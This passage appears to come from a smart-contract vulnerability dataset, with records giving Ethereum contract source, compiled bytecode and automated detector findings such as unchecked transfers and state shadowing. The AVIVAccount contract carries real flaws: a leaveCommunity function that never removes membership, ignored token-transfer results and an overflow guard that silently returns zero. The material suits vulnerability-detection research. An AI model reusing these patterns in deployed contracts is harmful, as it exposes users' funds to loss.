73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401610f73929190611f2c565b602060405180830381600087803b158015610f8d57600080fd5b505af1158015610fa1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc591906118ea565b506000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6110166117eb565b73ffffffffffffffffffffffffffffffffffffffff1661103461086b565b73ffffffffffffffffffffffffffffffffffffffff161461108a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108190612030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e557600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6111576117eb565b73ffffffffffffffffffffffffffffffffffffffff1661117561086b565b73ffffffffffffffffffffffffffffffffffffffff16146111cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c290612030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561123b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123290611f90565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113006117eb565b73ffffffffffffffffffffffffffffffffffffffff1661131e61086b565b73ffffffffffffffffffffffffffffffffffffffff1614611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136b90612030565b60405180910390fd5b600960009054906101000a900460ff1661138d57600080fd5b6007544210156113f6576006548211156113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d390612090565b60405180910390fd5b81600660008282546113ee91906122d0565b925050819055505b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518363ffffffff1660e01b815260040161147a929190611f2c565b602060405180830381600087803b15801561149457600080fd5b505af11580156114a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114cc91906118ea565b61150b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611502906120d0565b60405180910390fd5b6000600267ffffffffffffffff81111561154e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561157c5781602001602082028036833780820191505090505b509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000815181106115dc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167e57600080fd5b505afa158015611692573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b69190611885565b816001815181106116f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d79585858430426040518663ffffffff1660e01b815260040161178d95949392919061214b565b600060405180830381600087803b1580156117a757600080fd5b505af11580156117bb573d6000803e3d6000fd5b5050505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600081359050611802816123aa565b92915050565b600081519050611817816123aa565b92915050565b60008151905061182c816123c1565b92915050565b600081359050611841816123d8565b92915050565b600081519050611856816123d8565b92915050565b60006020828403121561186e57600080fd5b600061187c848285016117f3565b91505092915050565b60006020828403121561189757600080fd5b60006118a584828501611808565b91505092915050565b600080604083850312156118c157600080fd5b60006118cf858286016117f3565b92505060206118e085828601611832565b9150509250929050565b6000602082840312156118fc57600080fd5b600061190a8482850161181d565b91505092915050565b6000806040838503121561192657600080fd5b600061193485828601611832565b925050602061194585828601611832565b9150509250929050565b60008060006060848603121561196457600080fd5b600061197286828701611847565b935050602061198386828701611847565b925050604061199486828701611847565b9150509250925092565b600080600080600060a086880312156119b657600080fd5b60006119c488828901611832565b95505060206119d588828901611832565b94505060406119e688828901611832565b93505060606119f788828901611832565b9250506080611a0888828901611832565b9150509295509295909350565b6000611a218383611a2d565b60208301905092915050565b611a3681612304565b82525050565b611a4581612304565b82525050565b6000611a56826121b5565b611a6081856121cd565b9350611a6b836121a5565b8060005b83811015611a9c578151611a838882611a15565b9750611a8e836121c0565b925050600181019050611a6f565b5085935050505092915050565b611ab281612316565b82525050565b6000611ac5600c836121de565b91507f4d757374426550686173653100000000000000000000000000000000000000006000830152602082019050919050565b6000611b056026836121de565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611b6b601f836121de565b91507f436f756c64206e6f7420617070726f76652057455448207472616e73666572006000830152602082019050919050565b6000611bab601f836121de565b91507f436f756c64206e6f7420617070726f7665204d454f57207472616e73666572006000830152602082019050919050565b6000611beb600b836121de565b91507f416c72656164794f70656e0000000000000000000000000000000000000000006000830152602082019050919050565b6000611c2b6006836121de565b91507f50686173653100000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000611c6b6020836121de565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611cab600c836121de565b91507f42616c616e6365456d70747900000000000000000000000000000000000000006000830152602082019050919050565b6000611ceb600d836121de565b91507f4d75737442654d656f7744616f000000000000000000000000000000000000006000830152602082019050919050565b6000611d2b600d836121de565b91507f4e6f74456e6f7567684675656c000000000000000000000000000000000000006000830152602082019050919050565b6000611d6b600e836121de565b91507f616d6f756e74546f6f536d616c6c0000000000000000000000000000000000006000830152602082019050919050565b6000611dab6021836121de565b91507f436f756c64206e6f7420617070726f7665206772756d7079207472616e73666560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e116006836121de565b91507f50686173653200000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000611e516015836121de565b91507f4d656f7744414f4e6f74496e697469616c697a656400000000000000000000006000830152602082019050919050565b611e8d81612342565b82525050565b6000602082019050611ea86000830184611a3c565b92915050565b600061010082019050611ec4600083018b611a3c565b611ed1602083018a611a3c565b611ede6040830189611e84565b611eeb6060830188611e84565b611ef86080830187611e84565b611f0560a0830186611e84565b611f1260c0830185611a3c565b611f1f60e0830184611e84565b9998505050505050505050565b6000604082019050611f416000830185611a3c565b611f4e6020830184611e84565b9392505050565b6000602082019050611f6a6000830184611aa9565b92915050565b60006020820190508181036000830152611f8981611ab8565b9050919050565b60006020820190508181036000830152611fa981611af8565b9050919050565b60006020820190508181036000830152611fc981611b5e565b9050919050565b60006020820190508181036000830152611fe981611b9e565b9050919050565b6000602082019050818103600083015261200981611bde565b9050919050565b6000602082019050818103600083015261202981611c1e565b9050919050565b6000602082019050818103600083015261204981611c5e565b9050919050565b6000602082019050818103600083015261206981611c9e565b9050919050565b6000602082019050818103600083015261208981611cde565b9050919050565b600060208201905081810360008301526120a981611d1e565b9050919050565b600060208201905081810360008301526120c981611d5e565b9050919050565b600060208201905081810360008301526120e981611d9e565b9050919050565b6000602082019050818103600083015261210981611e04565b9050919050565b6000602082019050818103600083015261212981611e44565b9050919050565b60006020820190506121456000830184611e84565b92915050565b600060a0820190506121606000830188611e84565b61216d6020830187611e84565b818103604083015261217f8186611a4b565b905061218e6060830185611a3c565b61219b6080830184611e84565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006121fa82612342565b915061220583612342565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561223a5761223961234c565b5b828201905092915050565b600061225082612342565b915061225b83612342565b92508261226b5761226a61237b565b5b828204905092915050565b600061228182612342565b915061228c83612342565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156122c5576122c461234c565b5b828202905092915050565b60006122db82612342565b91506122e683612342565b9250828210156122f9576122f861234c565b5b828203905092915050565b600061230f82612322565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6123b381612304565b81146123be57600080fd5b50565b6123ca81612316565b81146123d557600080fd5b50565b6123e181612342565b81146123ec57600080fd5b5056fea264697066735822122058d464581cf9463c3b587fc1a24d6f8d1bf7221b66447e721b08730659a9880364736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,067
0x18b23534678568fbaafb972e8f95e9b7a0518db1
pragma solidity ^0.4.24; contract BasicTokenInterface{ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX uint public totalSupply; mapping (address => uint256) internal balances; modifier checkpayloadsize(uint size) { assert(msg.data.length >= size + 4); _; } function balanceOf(address tokenOwner) public view returns (uint balance); function transfer(address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); } // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { event ApprovalReceived(address indexed from, uint256 indexed amount, address indexed tokenAddr, bytes data); function receiveApproval(address from, uint256 amount, address tokenAddr, bytes data) public{ emit ApprovalReceived(from, amount, tokenAddr, data); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20TokenInterface is BasicTokenInterface, ApproveAndCallFallBack{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; function allowance(address tokenOwner, address spender) public view returns (uint remaining); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); function transferTokens(address token, uint amount) public returns (bool success); function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ManagedInterface{ address manager; event ManagerChanged(address indexed oldManager, address indexed newManager); modifier restricted(){ require(msg.sender == manager,"Function can only be used by manager"); _; } //Sweep out any other ERC20 tokens that got sent to the contract, sends to the manager function sweepTokens(address token, address destination) public restricted { uint balance = ERC20TokenInterface(token).balanceOf(address(this)); ERC20TokenInterface(token).transfer(destination,balance); } //Manager may drain the ETH on the contract function sweepFunds(address destination, uint amount) public restricted{ amount = amount > address(this).balance ? address(this).balance : amount; address(destination).transfer(amount); } function setManager(address newManager) public; } contract ManagedContract is ManagedInterface{ constructor(address creator) public{ manager = creator; } function setManager(address newManager) public restricted{ address oldManager = manager; manager = newManager; emit ManagerChanged(oldManager,manager); } } library SafeMath { //Guard overflow by making 0 an impassable barrier function add(uint a, uint b) internal pure returns (uint c) { c = a + b; return (c >= a && c >= b) ? c : 0; } //Guard underflow by making 0 an impassable barrier function sub(uint a, uint b) internal pure returns (uint) { return (a >=b) ? (a - b): 0; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || b == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint c) { require(a > 0 && b > 0); c = a / b; return c; } } contract AVIVAccountInterface is ManagedInterface{ using SafeMath for uint; uint verified_users; uint public alias_price = 100000000000000000; struct Account{ string name; string country; mapping(string => byte[]) pubkeys; mapping(address => bool) communities; bool verified; uint donations; } mapping(string => address) internal names; mapping(address => Account) internal accounts; //Emitted when manager verifies account event AccountVerified(address user, string name, string country); //Emitted when user changes keys event KeyChanged(address user, string label, byte[] key); //Emitted when user joins a community event JoinedCommunity(string name, address community); //Emitted when user leaves a community event LeftCommunity(string name, address community); event DonationReceived(address sender, uint value); //Emitted when an alias is purchased event NewAlias(address user, string name); function() public payable{ accounts[msg.sender].donations = accounts[msg.sender].donations.add(msg.value); emit DonationReceived(msg.sender,msg.value); } //Manager can set minimum donation price to purchase an alias function setAliasPrice(uint price) public; //Names can be set by anyone for a donation, manager does this for free in order to reserve names function addAlias(address user, string alias) public payable; //Only the manager can verify accounts, this is restricted in the implementation function verifyAccount(address holder, string name, string country) public restricted; //Accounts function as part of PKI, this is the PK in PKI function changeKeys(string label, byte[] key) public; //Joining a community allows the community to credit or debit your AVIV and VIP balances function joinCommunity(address community) public; //Leaving a community prevents that community from crediting or debiting your AVIV and VIP balances function leaveCommunity(address community) public; //are they part of a community function inCommunity(address user, address community) public view returns (bool); //get the name of an account function getName(address user) public view returns (string); //get the address of an account alias function getByAlias(string name) public view returns (address); //Is the account verified function isVerified(address user) public view returns (bool); //get the total of donations from a user function donationsFrom(address user) public view returns (uint); } contract AVIVAccount is ManagedContract(msg.sender), AVIVAccountInterface{ //Only the manager can verify accounts function verifyAccount(address holder, string name, string country) public restricted{ require((names[name] == address(0) || names[name] == holder),"NAMEINUSE"); names[name] = holder; Account storage account = accounts[holder]; account.name = name; account.verified = true; verified_users++; emit AccountVerified(holder, name, country); emit NewAlias(holder, name); } //Manager can set minimum donation price to purchase an alias function setAliasPrice(uint price) public restricted{ alias_price = price; } //Names can be set by anyone for a donation, manager does this for free in order to reserve names function addAlias(address user, string alias) public payable{ if(msg.sender != manager){ require(msg.value >= alias_price,"MINIMUMDONATIONREQUIRED"); emit DonationReceived(msg.sender, msg.value); } require(names[alias] == address(0),"NAMEINUSE"); names[alias] = user; //This will not set the name attribute on the account emit NewAlias(user, alias); } //Allows a user to specify a key mapped to a label, useful for PKI, not a good place to share a symmetric key function changeKeys(string label, byte[] key) public{ accounts[msg.sender].pubkeys[label] = key; emit KeyChanged(msg.sender,label,key); } //Joining a community allows the community to credit or debit your AVIV and VIP balances function joinCommunity(address community) public{ accounts[msg.sender].communities[community] = true; emit JoinedCommunity(accounts[msg.sender].name, community); } //Leaving a community prevents that community from crediting or debiting your AVIV and VIP balances function leaveCommunity(address community) public{ accounts[msg.sender].communities[community] = true; emit LeftCommunity(accounts[msg.sender].name, community); } //are they part of a community function inCommunity(address user, address community) public view returns (bool){ return accounts[user].communities[community]; } //key with a specific label function getKey(address user, string label) public view returns (byte[]){ return accounts[user].pubkeys[label]; } //get the name of an account function getName(address user) public view returns (string){ return accounts[user].name; } //get the address of an account alias function getByAlias(string name) public view returns (address){ return names[name]; } //check if user is verified function isVerified(address user) public view returns (bool){ return accounts[user].verified; } //return the total that this user has donated function donationsFrom(address user) public view returns (uint){ return accounts[user].donations; } }
0x6080604052600436106100e55763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630b9bfa6c811461015e5780631609be1d146101995780631771d4d4146101c25780632d67a79e146101da5780633904c5c11461027f5780633e589050146102a357806346d0eb60146103355780635fd4b08a1461038f57806373ec7df0146104255780637898b917146104465780638f142842146104fd578063b9209e3314610572578063bead051314610593578063d0ebdbe7146105b4578063d1eb6404146105d5578063e5f3fcb114610608575b33600090815260046020526040902060050154610108903463ffffffff61061d16565b33600081815260046020908152604091829020600501939093558051918252349282019290925281517f264f630d9efa0d07053a31163641d9fcc0adafc9d9e76f1c37c2ce3a558d2c52929181900390910190a1005b34801561016a57600080fd5b50610185600160a060020a0360043581169060243516610644565b604080519115158252519081900360200190f35b3480156101a557600080fd5b506101c0600160a060020a0360043581169060243516610676565b005b3480156101ce57600080fd5b506101c0600435610803565b3480156101e657600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526101c0958335600160a060020a031695369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506108679650505050505050565b34801561028b57600080fd5b506101c0600160a060020a0360043516602435610cac565b3480156102af57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101c0943694929360249392840191908190840183828082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d5a9650505050505050565b60408051602060046024803582810135601f81018590048502860185019096528585526101c0958335600160a060020a0316953695604494919390910191908190840183828082843750949750610eee9650505050505050565b34801561039b57600080fd5b506103b0600160a060020a036004351661118f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103ea5781810151838201526020016103d2565b50505050905090810190601f1680156104175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561043157600080fd5b506101c0600160a060020a036004351661123a565b34801561045257600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526104ad958335600160a060020a03169536956044949193909101919081908401838280828437509497506113309650505050505050565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104e95781810151838201526020016104d1565b505050509050019250505060405180910390f35b34801561050957600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526105569436949293602493928401919081908401838280828437509497506114699650505050505050565b60408051600160a060020a039092168252519081900360200190f35b34801561057e57600080fd5b50610185600160a060020a03600435166114da565b34801561059f57600080fd5b506101c0600160a060020a03600435166114fc565b3480156105c057600080fd5b506101c0600160a060020a03600435166115b5565b3480156105e157600080fd5b506105f6600160a060020a0360043516611674565b60408051918252519081900360200190f35b34801561061457600080fd5b506105f6611692565b8181018281108015906106305750818110155b61063b57600061063d565b805b9392505050565b600160a060020a0391821660009081526004602090815260408083209390941682526003909201909152205460ff1690565b60008054600160a060020a031633146106d6576040805160e560020a62461bcd02815260206004820152602480820152600080516020611814833981519152604482015260e160020a6330b3b2b902606482015290519081900360840190fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038516916370a082319160248083019260209291908290030181600087803b15801561073757600080fd5b505af115801561074b573d6000803e3d6000fd5b505050506040513d602081101561076157600080fd5b5051604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0385811660048301526024820184905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b1580156107d257600080fd5b505af11580156107e6573d6000803e3d6000fd5b505050506040513d60208110156107fc57600080fd5b5050505050565b600054600160a060020a03163314610862576040805160e560020a62461bcd02815260206004820152602480820152600080516020611814833981519152604482015260e160020a6330b3b2b902606482015290519081900360840190fd5b600255565b60008054600160a060020a031633146108c7576040805160e560020a62461bcd02815260206004820152602480820152600080516020611814833981519152604482015260e160020a6330b3b2b902606482015290519081900360840190fd5b6000600160a060020a03166003846040518082805190602001908083835b602083106109045780518252601f1990920191602091820191016108e5565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a03169290921491508190506109c0575083600160a060020a03166003846040518082805190602001908083835b602083106109835780518252601f199092019160209182019101610964565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150505b1515610a16576040805160e560020a62461bcd02815260206004820152600960248201527f4e414d45494e5553450000000000000000000000000000000000000000000000604482015290519081900360640190fd5b836003846040518082805190602001908083835b60208310610a495780518252601f199092019160209182019101610a2a565b51815160209384036101000a600019018019909216911617905292019485525060408051948590038201909420805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03968716179055938816600090815260048552929092208651909450610ac29385935087019150611698565b5060048101805460ff1916600190811790915580548101905560408051600160a060020a03861681526060602080830182815287519284019290925286517fe75b34ae42d69fe93a4f69534cb839531629e97900583d2cca03a04cf35ac428948994899489949193909284019160808501919087019080838360005b83811015610b56578181015183820152602001610b3e565b50505050905090810190601f168015610b835780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b83811015610bb6578181015183820152602001610b9e565b50505050905090810190601f168015610be35780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a17fbc2a069625ff2522d7cc48338e6df295cfb3f65e1d1d392ae51e6919cf82658a84846040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c6b578181015183820152602001610c53565b50505050905090810190601f168015610c985780820380516001836020036101000a031916815260200191505b50935050505060405180910390a150505050565b600054600160a060020a03163314610d0b576040805160e560020a62461bcd02815260206004820152602480820152600080516020611814833981519152604482015260e160020a6330b3b2b902606482015290519081900360840190fd5b30318111610d195780610d1c565b30315b604051909150600160a060020a0383169082156108fc029083906000818181858888f19350505050158015610d55573d6000803e3d6000fd5b505050565b806004600033600160a060020a0316600160a060020a03168152602001908152602001600020600201836040518082805190602001908083835b60208310610db35780518252601f199092019160209182019101610d94565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381019093208451610df49591949190910192509050611716565b507f9c2c3241d39dd53cf9fefc7df038dd4955e317e864b65443b6462399a3ed05593383836040518084600160a060020a0316600160a060020a031681526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015610e72578181015183820152602001610e5a565b50505050905090810190601f168015610e9f5780820380516001836020036101000a031916815260200191505b508381038252845181528451602091820191808701910280838360005b83811015610ed4578181015183820152602001610ebc565b505050509050019550505050505060405180910390a15050565b600054600160a060020a03163314610f9557600254341015610f5a576040805160e560020a62461bcd02815260206004820152601760248201527f4d494e494d554d444f4e4154494f4e5245515549524544000000000000000000604482015290519081900360640190fd5b6040805133815234602082015281517f264f630d9efa0d07053a31163641d9fcc0adafc9d9e76f1c37c2ce3a558d2c52929181900390910190a15b6000600160a060020a03166003826040518082805190602001908083835b60208310610fd25780518252601f199092019160209182019101610fb3565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a03169290921491506110639050576040805160e560020a62461bcd02815260206004820152600960248201527f4e414d45494e5553450000000000000000000000000000000000000000000000604482015290519081900360640190fd5b816003826040518082805190602001908083835b602083106110965780518252601f199092019160209182019101611077565b51815160209384036101000a6000190180199092169116179052920194855250604080519485900382018520805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03978816179055948716845283810185815286519585019590955285517fbc2a069625ff2522d7cc48338e6df295cfb3f65e1d1d392ae51e6919cf82658a95889588955093509160608401919085019080838360005b83811015611150578181015183820152602001611138565b50505050905090810190601f16801561117d5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b600160a060020a03811660009081526004602090815260409182902080548351601f600260001961010060018616150201909316929092049182018490048402810184019094528084526060939283018282801561122e5780601f106112035761010080835404028352916020019161122e565b820191906000526020600020905b81548152906001019060200180831161121157829003601f168201915b50505050509050919050565b336000818152600460208181526040808420600160a060020a038716808652600382018452828620805460ff19166001908117909155969095529282528051918201939093528281528154600260001995821615610100029590950116939093049183018290527f1733d2ab6b4dfdf0a8fbb5ef7f9224a775716d0c9ede26eb3ee0e490c9525936929091849190819060608201908590801561131e5780601f106112f35761010080835404028352916020019161131e565b820191906000526020600020905b81548152906001019060200180831161130157829003601f168201915b5050935050505060405180910390a150565b60606004600084600160a060020a0316600160a060020a03168152602001908152602001600020600201826040518082805190602001908083835b6020831061138a5780518252601f19909201916020918201910161136b565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820185208054808402870184019092528186529350915083018282801561145c57602002820191906000526020600020906000905b82829054906101000a90047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600101906020826000010492830192600103820291508084116113e75790505b5050505050905092915050565b60006003826040518082805190602001908083835b6020831061149d5780518252601f19909201916020918201910161147e565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316949350505050565b600160a060020a03166000908152600460208190526040909120015460ff1690565b336000818152600460208181526040808420600160a060020a038716808652600382018452828620805460ff19166001908117909155969095529282528051918201939093528281528154600260001995821615610100029590950116939093049183018290527f01ecb65cef312b2931327b9950c199bc4036c124c38da1ec0f6eae6d9819751b929091849190819060608201908590801561131e5780601f106112f35761010080835404028352916020019161131e565b60008054600160a060020a03163314611615576040805160e560020a62461bcd02815260206004820152602480820152600080516020611814833981519152604482015260e160020a6330b3b2b902606482015290519081900360840190fd5b5060008054600160a060020a0383811673ffffffffffffffffffffffffffffffffffffffff198316178084556040519282169391169183917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a435091a35050565b600160a060020a031660009081526004602052604090206005015490565b60025481565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106116d957805160ff1916838001178555611706565b82800160010185558215611706579182015b828111156117065782518255916020019190600101906116eb565b506117129291506117d8565b5090565b82805482825590600052602060002090601f016020900481019282156117cc5791602002820160005b8382111561179d57835183826101000a81548160ff02191690837f010000000000000000000000000000000000000000000000000000000000000090040217905550926020019260010160208160000104928301926001030261173f565b80156117ca5782816101000a81549060ff021916905560010160208160000104928301926001030261179d565b505b506117129291506117f5565b6117f291905b8082111561171257600081556001016117de565b90565b6117f291905b8082111561171257805460ff191681556001016117fb560046756e6374696f6e2063616e206f6e6c792062652075736564206279206d616ea165627a7a72305820680985cc569b2cf7aebaca6b24d2f9fddf631f5ea1b49cb312da55eb2152fdb50029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
5,068
0x2112CfCA56B5f79011A815B301B6Bf616DC28c03
// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, 